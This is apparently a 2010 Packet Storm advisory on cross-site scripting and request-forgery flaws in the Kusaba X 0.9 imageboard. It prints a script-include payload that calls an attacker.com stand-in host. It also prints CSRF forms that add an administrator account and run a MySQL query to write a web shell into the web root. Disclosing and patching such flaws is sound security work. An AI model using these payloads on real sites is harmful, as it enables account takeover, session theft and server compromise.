Kusaba X 0.9 Cross Site Scripting / Cross Site Request Forgery

Type packetstorm
Reporter systemx00
Modified 2010-02-20T00:00:00


Kusaba X <= 0.9 XSS/CSRF vulnerabilities  
Kusaba X suffers XSS and CSRF vulnerabilities that would allow an attacker to take over the web application and possibly the entire server (depending on the MySQL configuration). The XSS vulnerability is not required to exploit the CSRF but makes the proccess very easy.  
The “Reason” field in the report function doesn't sanitize user input. The input size is limited to 256 characters, (pleanty for exploitation, but not enough for a textwall of CSRF forms). This can be circumvented by including off-site javascripts, i.e. <script src="http://attacker.com/asdf.js"></script>. (iframes work too) The injected script will render and execute when a Moderator or Administrator views the reports. If a Moderator falls victim, the worst case scenario would be cookie stealing followed by session hijacking and account theft. If an Administrator were to view the malicious report, much more is possible. It would be easy to detect the difference and act accordingly, making this attack more effective.  
These run rampent throughout the application. Here are two of the most severe but there's lots of fun to be had.  
1. Add administrative accouts   
<form action="http://example.chan/manage_page.php?action=staff&add" method="POST">  
<input name="username" value="user123" />  
<input name="password" value="pass123" />  
<input name="type" value="1" />  
2. Execute MySQL queries   
<form action="http://example.chan/manage_page.php?action=sql" method="POST">  
<input name="query" value="SELECT 'your-shell-here' INTO OUTFILE '/path/to/www';" />  
Feb 9, 2010 - Reported to Kusaba X dev team.  
Feb 15, 2010 - Kusaba X 0.9.1 released containing patch.  
Feb 17, 2010 - Info released  
~~Thanks to Sazpaimon  
~~Greetz to the open source community